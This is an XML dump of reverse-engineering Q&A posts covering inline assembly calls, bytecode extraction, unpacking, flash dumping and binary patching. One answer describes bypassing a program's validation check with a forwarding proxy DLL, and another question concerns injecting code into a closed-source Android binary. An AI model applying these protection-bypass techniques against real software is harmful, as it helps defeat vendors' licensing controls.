  <row Id="10763" PostTypeId="1" AcceptedAnswerId="10765" CreationDate="2015-08-31T21:37:36.593" Score="0" ViewCount="1777" Body="&lt;pre&gt;&lt;code&gt;void __usercall sub_101A7850@&amp;lt;eax&amp;gt;(int a1@&amp;lt;edx&amp;gt;, int a2@&amp;lt;ecx&amp;gt;, int a3, int a4, int a5, int a6)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My first attempt (crashes):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;__declspec(naked) void __stdcall callit(const int&amp;amp; a1, const int&amp;amp; a2, unsigned int a3, const int *a4, int a5, int *a6)&#xA;    {&#xA;        // void __usercall sub_101A7850@&amp;lt;eax&amp;gt;(int a1@&amp;lt;edx&amp;gt;, int a2@&amp;lt;ecx&amp;gt;, int a3, int a4, int a5, int a6)&#xA;        __asm&#xA;        {&#xA;            mov ecx, [esp + 4] // a1&#xA;            mov edx, [esp + 8] // a2&#xA;            push [esp + 12] // a3&#xA;            push [esp + 16] // a4&#xA;            push [esp + 20] // a5&#xA;            push [esp + 24] // a6&#xA;            call funcaddr&#xA;            retn 24&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have verified funcaddr is valid. Pretty sure its a __fastcall&lt;/p&gt;&#xA;" OwnerUserId="13424" LastEditorUserId="53" LastEditDate="2015-12-16T17:13:03.193" LastActivityDate="2015-12-16T17:13:03.193" Title="How do I call this function in inline ASM? (MSVC++)" Tags="|assembly|c++|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10764" PostTypeId="2" ParentId="10688" CreationDate="2015-08-31T22:11:42.360" Score="0" Body="&lt;p&gt;Depending on when exactly the validation check is made, you might be able to simply rename the DLL and replace the original with your own.  In that case, your DLL must load the original DLL, in order to place it in memory.  Your DLL must also export the same functions that the original one does, but forward each of them to the original DLL.  This is not a trivial undertaking, but it might serve you better than to try to find and disble the check itself.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2015-08-31T22:11:42.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10765" PostTypeId="2" ParentId="10763" CreationDate="2015-08-31T22:29:34.667" Score="3" Body="&lt;p&gt;Just use something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void call_sub_101A7850(int a1, int a2, int a3, int a4, int a5, int a6){&#xA;    uintptr_t addr = 0x101A7850;&#xA;    unsigned int result;&#xA;    __asm {&#xA;        mov edx, a1;&#xA;        mov ecx, a2;&#xA;        push a6;&#xA;        push a5;&#xA;        push a4;&#xA;        push a3;&#xA;        call addr;&#xA;        add esp, 16;&#xA;        mov result, eax;&#xA;    }&#xA;    return result;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It seems to be &lt;a href=&quot;https://msdn.microsoft.com/es-es/library/6xa169sk.aspx&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;__fastcall&lt;/code&gt;&lt;/a&gt;; however, in that calling convention, the first argument is stored in &lt;code&gt;ecx&lt;/code&gt;, and the second one in &lt;code&gt;edx&lt;/code&gt;, not like in your function's prototype, so you'll have to swap arguments order, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typedef int(__fastcall* tTheFunc)(int a1, int a2, int a3, int a4, int a5, int a6);&#xA;tTheFunc func = (tTheFunc) 0x101A7850;&#xA;func(a2, a1, a3, a4, a5, a6);&#xA;//   ^swapped order, because a fastcall will always put the first arg in ecx and second in edx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also call it directly, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;((int(__fastcall*)(int, int, int, int, int, int)) 0x101A7850)(a2, a1, a3, a4, a5, a6);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here's what's wrong with your function:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Don't use naked functions to wrap assembly calls, you don't need it, and it just makes everything harder&lt;/li&gt;&#xA;&lt;li&gt;You can directly do &lt;code&gt;mov ecx, &amp;lt;argument-name&amp;gt;&lt;/code&gt; instead of guessing where is the variable on the stack -- &lt;code&gt;mov ecx, a1&lt;/code&gt; is much more intuitive, reliable and readable than &lt;code&gt;mov ecx, [esp + 4]&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;You are doing a &lt;code&gt;retn 24&lt;/code&gt; to clear your own function's pushed arguments, but &lt;strong&gt;you're not clearing what you've pushed for the called function&lt;/strong&gt;, i.e. 16 more bytes (4 args * 4 bytes)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4750" LastActivityDate="2015-08-31T22:29:34.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10766" PostTypeId="1" CreationDate="2015-09-01T03:23:53.830" Score="5" ViewCount="702" Body="&lt;p&gt;Basically i'm debugging a closed source binary on Android and i want to execute some of my code in between which is large enough not to fit in codecave. So is it possible to compile library with my code separately &amp;amp; then calling it from target binary?&#xA;If yes then how?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My friend suggested me to modify binary header &amp;amp; extend data segment to inject my code. Is it convenient?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have another one suggestion.&#xA;I know interface to that closed source binary, then is it possible to write a wrapper binary?&#xA;For ex, suppose closed source binary is libfoo.so. Then is it possible to write a binary libbar.so which actually loads libfoo.so &amp;amp; sends function calls to libfoo.so&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm asking this because i've seen some warez programs bundled with some extra dlls &amp;amp; often some wrapper executable.&lt;/p&gt;&#xA;" OwnerUserId="12721" LastActivityDate="2016-03-01T06:47:27.083" Title="ARM - Is calling function from external static library possible?" Tags="|ida|arm|android|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10767" PostTypeId="2" ParentId="10766" CreationDate="2015-09-01T05:29:35.690" Score="2" Body="&lt;p&gt;If this library is linked statically, you can not change it without changing the executable. However you can use &lt;a href=&quot;http://frida.re&quot; rel=&quot;nofollow&quot;&gt;Frida&lt;/a&gt; during debugging session to intercept specific calls, automate this task and run your own code written in (surprise!) JavaScript.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://www.frida.re/docs/quickstart/&quot; rel=&quot;nofollow&quot;&gt;simple example here&lt;/a&gt; for more details.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2015-09-01T05:29:35.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10771" PostTypeId="1" AcceptedAnswerId="10783" CreationDate="2015-09-01T22:55:23.130" Score="-1" ViewCount="271" Body="&lt;p&gt;Which are the methods or which are the steps for from a asm disassembled function code  passing/converting it to 'C/C++' or other language and tell what happens.&lt;/p&gt;&#xA;" OwnerUserId="13442" LastEditorUserId="13442" LastEditDate="2018-03-12T22:02:14.783" LastActivityDate="2018-03-12T22:02:14.783" Title="Reversing a function, methodology" Tags="|disassembly|assembly|decompilation|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10772" PostTypeId="1" AcceptedAnswerId="10776" CreationDate="2015-09-01T22:58:38.043" Score="2" ViewCount="1948" Body="&lt;p&gt;I will be distributing a c++ application, and I was wondering if there was any tools available to add an extra layer of security against reverse engineering. I'm looking for a quick fix because I don't want to spend a year learning RE, I just want to focus on my application. Should I be looking at anti debuggers, packers, or what? Is there any convenient libraries to use?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that nothing can stop reverse engineering, I just would like to make it more difficult if possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything that is free or open source?&lt;/p&gt;&#xA;" OwnerUserId="13443" LastEditorUserId="13443" LastEditDate="2015-09-02T00:35:21.067" LastActivityDate="2016-10-16T10:00:05.923" Title="Anti reverse engineering tools that are easy to set up" Tags="|c++|binary|protection|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10773" PostTypeId="1" CreationDate="2015-09-01T23:12:10.423" Score="0" ViewCount="127" Body="&lt;p&gt;Does Reverse Engineering always produces the source code in the same language the software was originally written?&#xA;For example, if the software program(.exe) been reversed was written in C++, the output of the reverse process would necessarily be C++ source code?&lt;/p&gt;&#xA;" OwnerUserId="13444" LastActivityDate="2015-09-02T01:39:27.993" Title="Can Reverse Engineering produce code in a different language than the one the program was originally created?" Tags="|disassemblers|decompile|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10774" PostTypeId="2" ParentId="10773" CreationDate="2015-09-02T01:39:27.993" Score="1" Body="&lt;p&gt;Reverse engineering is the process of figuring out how stuff works. The output format of a reverse engineering session is not dependent on the original language in which the target was written, but rather is dependent on the purpose of the session (porting to a new system, stealing a competitor's algorithm, explaining to executives how a malware sample works at a high-level, etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The final product of a reverse engineering session may be a human-readable report, or pseudo-code, or a data-flow diagram, or a slide show presentation, or a reimplementation of the target in any language the reverse engineer wishes to use.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-09-02T01:39:27.993" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10775" PostTypeId="1" AcceptedAnswerId="10778" CreationDate="2015-09-02T02:39:38.320" Score="0" ViewCount="190" Body="&lt;p&gt;I am wondering if it is possible to reverse engineer the calculator on this url:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.contrelec.co.uk/index.php/en/motor-full-load-current-estimator-kw&quot; rel=&quot;nofollow&quot;&gt;http://www.contrelec.co.uk/index.php/en/motor-full-load-current-estimator-kw&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears to be a Joomla site with the Fabrik plugin driving the calculator. Some research suggests Fabrik uses Ajax, a language I know little about other than it is client-side calculation, so the source should be accessible(?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Glad of anyone's help.&lt;/p&gt;&#xA;" OwnerUserId="13446" LastActivityDate="2016-03-17T21:12:56.087" Title="Reverse Engineer Joomla fabrik calculator" Tags="|javascript|websites|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10776" PostTypeId="2" ParentId="10772" CreationDate="2015-09-02T05:07:17.363" Score="1" Body="&lt;p&gt;Since you don't want to learn RE, there are some free/opensource and paid tools. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the first you probably should look &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1792/is-there-any-simple-open-source-windows-packer&quot;&gt;in the answers here&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you feel like spending money you can find some relatively stronger packers like:&#xA;&lt;a href=&quot;http://vmpsoft.com/&quot; rel=&quot;nofollow&quot;&gt;VMProtect&lt;/a&gt; or &lt;a href=&quot;http://www.oreans.com/themida.php&quot; rel=&quot;nofollow&quot;&gt;themida&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="11834" LastActivityDate="2015-09-02T05:07:17.363" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10777" PostTypeId="1" AcceptedAnswerId="10779" CreationDate="2015-09-02T07:45:52.870" Score="1" ViewCount="1321" Body="&lt;p&gt;I have an application which is executing oci statements using OCIStmtExecute(). I need to know which sql statement is being passed to OCIStmtPrepare on what action. Tried using API Monitor but there weren't OCI.dll functions. Also placing a breakpoint doesn't help since it's executing a notify statement almost every half a second.&lt;/p&gt;&#xA;" OwnerUserId="13325" LastEditorUserId="53" LastEditDate="2015-12-16T17:07:14.190" LastActivityDate="2015-12-16T17:07:14.190" Title="How to monitor calls to an external library function?" Tags="|ida|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10778" PostTypeId="2" ParentId="10775" CreationDate="2015-09-02T13:25:51.157" Score="0" Body="&lt;p&gt;The algorithm is on the server-side (and executed via an HTTP POST to &lt;a href=&quot;http://www.contrelec.co.uk/index.php/en/motor-full-load-current-estimator-kw&quot; rel=&quot;nofollow&quot;&gt;http://www.contrelec.co.uk/index.php/en/motor-full-load-current-estimator-kw&lt;/a&gt;), so you won't be able to directly extract the algorithm by just looking at the client-side HTML, JavaScript, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, since there are only 3 input variables, it shouldn't be too difficult to write a program to submit many values, extract the output, and then extrapolate the formula by graphing the results.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-09-02T13:25:51.157" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10779" PostTypeId="2" ParentId="10777" CreationDate="2015-09-02T13:34:09.020" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Tried using API Monitor but there weren't OCI.dll functions.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;OCI.dll most certainly does export functions, including &lt;code&gt;OCIStmtExecute()&lt;/code&gt; and &lt;code&gt;OCIStmtPrepare()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SZXwu.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SZXwu.png&quot; alt=&quot;OCIStmtExecute&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're not seeing them in API Monitor, it's because you've not told API Monitor to log them correctly, or because they're not really being called by the target process.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-09-02T13:34:09.020" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10781" PostTypeId="1" CreationDate="2015-09-02T16:04:22.953" Score="2" ViewCount="1599" Body="&lt;p&gt;I unpacked a UPX packed PE binary. Both the packed and unpacked binary have fixed image base of &lt;code&gt;0x400000&lt;/code&gt; (Checked by various PE tools). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, every time I run the program in OllyDbg, the image would located an a different base address. It would change the image base when I reopen the binary and start run it, and would not change the image base when I click the restart icon in OllyDbg. I read at &lt;a href=&quot;http://www.woodmann.com/forum/archive/index.php/t-3302.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this post&lt;/a&gt; saying that win32 exe never use ASLR. Is this true? I have win7 pro and OllyDbg1.10.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my real question. The unpacked executable have some address reference invalid. They are all using the standard win32 base &lt;code&gt;0x400000&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I have the following instructions in my unpacked program, the reference to the &lt;code&gt;407018&lt;/code&gt; is invalid. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How could I fix this address reference?  &lt;/li&gt;&#xA;&lt;li&gt;How to change all the address references in the format of &lt;code&gt;0x40xxxx&lt;/code&gt; to      &lt;code&gt;0x1150000&lt;/code&gt; in code section? Is there a tool to do this?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;01153F2B  |. A1 18704000    MOV EAX,DWORD PTR DS:[407018]&#xA;01153F30  |. 8365 F8 00     AND DWORD PTR SS:[EBP-8],0&#xA;01153F34  |. 8365 FC 00     AND DWORD PTR SS:[EBP-4],0&#xA;01153F38  |. 53             PUSH EBX&#xA;01153F39  |. 57             PUSH EDI&#xA;01153F46  |. 74 0D          JE SHORT CrackME.01153F55&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4432" LastEditorUserId="2147" LastEditDate="2017-03-28T15:46:34.027" LastActivityDate="2017-03-28T15:46:34.027" Title="Does Windows 7 Pro use ASLR for win32 executable?" Tags="|windows|unpacking|binary|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10782" PostTypeId="1" CreationDate="2015-09-02T16:48:27.087" Score="4" ViewCount="207" Body="&lt;p&gt;I am capable of dumping flash memory directly from EEPROM; however I am trying to pull data from a microcontroller that has an embedded 2 Mbyte flash in it. I understand that JTAG is one way to go. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I need the circuit board that is hosting the microcontroller to be intact for this? Can I pull the microcontroller off and go directly through the jtag pins on the controller? I am new to this and google searching hasnt turned up much, any help or a push in the right direction would be tremendous. &lt;/p&gt;&#xA;" OwnerUserId="13451" LastActivityDate="2015-09-02T16:48:27.087" Title="Trying to obtain embedded flash memory on MCP5554 microcontroller" Tags="|memory|disassemblers|digital-forensics|dumping|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10783" PostTypeId="2" ParentId="10771" CreationDate="2015-09-02T22:37:17.930" Score="6" Body="&lt;p&gt;For me the steps to reverse a function are usually this ones :&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Identify the calling convention used in the executable.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;try to identify all arguments passed to the function and understand their types and usages :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Look for stacked arguments and register's one.&lt;/li&gt;&#xA;&lt;li&gt;Analyze code around use of arguments to understand their types and use.&lt;/li&gt;&#xA;&lt;li&gt;identify references and structures.&lt;/li&gt;&#xA;&lt;li&gt;note for each argument if it is an INPUT one or an OUTPUT one, what is his type and purpose or guessed purposed.&lt;/li&gt;&#xA;&lt;li&gt;identify the return of the function (generally eax for example in x86) : what are the possible returning values ? Error return cases gives clues about come chunks of code of the function.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Look code around calls to the function to try to figure out what the function is about.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;analyze the content of the function isolating chunks of code, each chunk corresponding to a line of C for example. To identify chunks :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;look the graph of function to figure out the different paths and the complexity level of the function. Try to identify patterns like switch, imbricated if, loops, etc.&lt;/li&gt;&#xA;&lt;li&gt;look for calls to another functions, library calls or API calls. For a non obfuscated code this is usually easy to do.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;this step is simultaneous to the precedent. Look the use of local variables and try to name them. For each local variable :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;is the variable re-used in the function for different purposes ? if so rename it with a generic type name.&lt;/li&gt;&#xA;&lt;li&gt;if the variable is used for a single purpose, try to understand what it is and name the variable in consequence.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Don't expect to understand all the function with a single pass of analyze. Repeat the process. If a chunk of code is not clear, go to the next one and return later to the hard one. Each time you understand a chunk, review your previous work to see if your guessed are consistent with your new findings.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If the function calls another functions, proceed with a bottom-up method like leafs are usually simples than branches and understanding leafs help to understand branches.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Try to look at mixed source code C/asm for example, with a debugger or with  the good compiler switch (/FAs or /FAcs for example in Visual Studio).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="13454" LastEditorUserId="13454" LastEditDate="2015-09-02T22:46:26.303" LastActivityDate="2015-09-02T22:46:26.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10784" PostTypeId="1" AcceptedAnswerId="10786" CreationDate="2015-09-03T09:27:57.783" Score="0" ViewCount="217" Body="&lt;p&gt;I've decompiled &lt;strong&gt;Win32&lt;/strong&gt; executable that is the result of compilation of a program written in Moscow ML language. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The resulting listing contains standard &lt;strong&gt;C&lt;/strong&gt; &lt;code&gt;main&lt;/code&gt; function that contains the call to &lt;code&gt;caml_main&lt;/code&gt; that (as I understand) calls bytecode interpreter which interprets the bytecode containing in the executable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my questions are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;How to extract the bytecode without a lots of manual work?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How to decompile the Moscow ML bytecode?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="13448" LastEditorUserId="13448" LastEditDate="2015-09-03T13:23:52.310" LastActivityDate="2015-09-03T13:34:19.723" Title="Does anybody know which tools allow to get (pseudo) code from a Moscow ML executable?" Tags="|binary-analysis|decompilation|byte-code|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10785" PostTypeId="1" CreationDate="2015-09-03T11:01:27.783" Score="0" ViewCount="225" Body="&lt;p&gt;I am new to reversing and I need to get some reversing experience.&#xA;I need help on how to change the text on the Button.&#xA;for example my Delphi xe app have the button(Continue) and I want to change it to (Carry on).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I accomplish that?&#xA;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="13366" LastActivityDate="2015-09-03T13:36:36.180" Title="How to change text on the button?" Tags="|patch-reversing|delphi|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10786" PostTypeId="2" ParentId="10784" CreationDate="2015-09-03T13:34:19.723" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;How to extract the bytecode without a lots of manual work&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As per &lt;a href=&quot;https://github.com/kfl/mosml/blob/master/src/runtime/main.c#L62&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/kfl/mosml/blob/master/src/runtime/main.c#L62&lt;/a&gt;, the last 20 bytes of the EXE make up an &lt;code&gt;exec_trailer&lt;/code&gt; structure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static int read_trailer(int fd, struct exec_trailer * trail)&#xA;{&#xA;  unsigned char buffer[TRAILER_SIZE];&#xA;&#xA;  lseek(fd, (long) -TRAILER_SIZE, 2);&#xA;  if (read(fd, (char*)buffer, TRAILER_SIZE) &amp;lt; TRAILER_SIZE) &#xA;    return TRUNCATED_FILE;&#xA;  trail-&amp;gt;code_size = read_size(buffer);&#xA;  trail-&amp;gt;data_size = read_size(buffer+4);&#xA;  trail-&amp;gt;symbol_size = read_size(buffer+8);&#xA;  trail-&amp;gt;debug_size = read_size(buffer+12);&#xA;  trail-&amp;gt;magic = read_size(buffer+16);&#xA;  if (trail-&amp;gt;magic == EXEC_MAGIC) return 0; else return BAD_MAGIC_NUM;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And as per &lt;a href=&quot;https://github.com/kfl/mosml/blob/master/src/runtime/main.c#L229&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/kfl/mosml/blob/master/src/runtime/main.c#L229&lt;/a&gt;, the bytecode begins at &lt;code&gt;(20 + trail.code_size + trail.data_size + trail.symbol_size + trail.debug_size)&lt;/code&gt; bytes before the end of the file.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol start=&quot;2&quot;&gt;&#xA;  &lt;li&gt;How to decompile the Moscow ML bytecode?&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The bytecode interpreter is defined here: &lt;a href=&quot;https://github.com/kfl/mosml/blob/master/src/runtime/interp.c#L87&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/kfl/mosml/blob/master/src/runtime/interp.c#L87&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, even if you were to leverage the parser in that interpreter, the best you'd get is an intermediate representation of the code (consisting of the instructions in &lt;a href=&quot;https://github.com/kfl/mosml/blob/master/src/runtime/instruct.h&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/kfl/mosml/blob/master/src/runtime/instruct.h&lt;/a&gt;), not the decompiled ML code itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to convert the intermediate instructions to an actual decompilation, that question would probably be better asked at &lt;a href=&quot;https://stackoverflow.com/&quot;&gt;https://stackoverflow.com/&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2015-09-03T13:34:19.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10787" PostTypeId="2" ParentId="10785" CreationDate="2015-09-03T13:36:36.180" Score="3" Body="&lt;p&gt;Open the executable file with a &lt;a href=&quot;http://www.woodmann.com/collaborative/tools/index.php/Category:Hex_Editors&quot; rel=&quot;nofollow&quot;&gt;hex editor&lt;/a&gt;, search for the string &quot;&lt;code&gt;Continue&lt;/code&gt;&quot;, and overwrite those bytes with the string &quot;&lt;code&gt;Carry on&lt;/code&gt;&quot;.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-09-03T13:36:36.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10788" PostTypeId="2" ParentId="6790" CreationDate="2015-09-03T14:14:01.070" Score="-1" Body="&lt;p&gt;As for the webpage URL changing use CFF Explorer' hex editor to search for the caption of the button, there you will find a parameter that execute the URL and change it to your favourite&lt;/p&gt;&#xA;" OwnerUserId="13366" LastActivityDate="2015-09-03T14:14:01.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10789" PostTypeId="1" CreationDate="2015-09-03T17:21:22.097" Score="1" ViewCount="1019" Body="&lt;p&gt;If I pass an argument to a function, it should be translated in assembly language into &lt;code&gt;push something&lt;/code&gt;. I coded the following in C:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;int sum(int a, int b,int c)&#xA;{&#xA;    int total;&#xA;    total = a + b + c;&#xA;    printf (&quot;I will return now&quot;);&#xA;    return(total);&#xA;}&#xA;&#xA;int media(int a, int b,int c)&#xA;{&#xA;    int total;&#xA;    total = (a + b + c)/3;&#xA;    printf (&quot;\nI will return now\n&quot;);&#xA;    return (total);&#xA;}&#xA;&#xA;int main ()&#xA;{&#xA;    int num1,num2,num3;&#xA;    char keypress[1];&#xA;&#xA;    num1 = 5;&#xA;    num2 = 10;&#xA;    num3 = 15;&#xA;    printf (&quot;\nCalling sum function\n&quot;);&#xA;    sum(num1,num2,num3);&#xA;    printf (&quot;\nWaiting a keypress to call media function\n&quot;);&#xA;    scanf (&quot;%c&quot;,keypress);&#xA;    media(num1,num2,num3);&#xA;    printf (&quot;\nWaiting a keypress to end\n&quot;);&#xA;    scanf (&quot;%c&quot;,keypress);&#xA;    return(0);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I compiled it: &lt;code&gt;gcc -S example.c&lt;/code&gt;. It generated an &lt;code&gt;example.s&lt;/code&gt; file and my expectation was to saw some push instructions. Here is the produced assembly code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    .file   &quot;example.c&quot;&#xA;    .section    .rodata&#xA;.LC0:&#xA;    .string &quot;I will return now&quot;&#xA;    .text&#xA;    .globl  sum&#xA;    .type   sum, @function&#xA;sum:&#xA;.LFB0:&#xA;    .cfi_startproc&#xA;    pushq   %rbp&#xA;    .cfi_def_cfa_offset 16&#xA;    .cfi_offset 6, -16&#xA;    movq    %rsp, %rbp&#xA;    .cfi_def_cfa_register 6&#xA;    subq    $32, %rsp&#xA;    movl    %edi, -20(%rbp)&#xA;    movl    %esi, -24(%rbp)&#xA;    movl    %edx, -28(%rbp)&#xA;    movl    -24(%rbp), %eax&#xA;    movl    -20(%rbp), %edx&#xA;    addl    %eax, %edx&#xA;    movl    -28(%rbp), %eax&#xA;    addl    %edx, %eax&#xA;    movl    %eax, -4(%rbp)&#xA;    movl    $.LC0, %edi&#xA;    movl    $0, %eax&#xA;    call    printf&#xA;    movl    -4(%rbp), %eax&#xA;    leave&#xA;    .cfi_def_cfa 7, 8&#xA;    ret&#xA;    .cfi_endproc&#xA;.LFE0:&#xA;    .size   sum, .-sum&#xA;    .section    .rodata&#xA;.LC1:&#xA;    .string &quot;\nI will return now&quot;&#xA;    .text&#xA;    .globl  media&#xA;    .type   media, @function&#xA;media:&#xA;.LFB1:&#xA;    .cfi_startproc&#xA;    pushq   %rbp&#xA;    .cfi_def_cfa_offset 16&#xA;    .cfi_offset 6, -16&#xA;    movq    %rsp, %rbp&#xA;    .cfi_def_cfa_register 6&#xA;    subq    $32, %rsp&#xA;    movl    %edi, -20(%rbp)&#xA;    movl    %esi, -24(%rbp)&#xA;    movl    %edx, -28(%rbp)&#xA;    movl    -24(%rbp), %eax&#xA;    movl    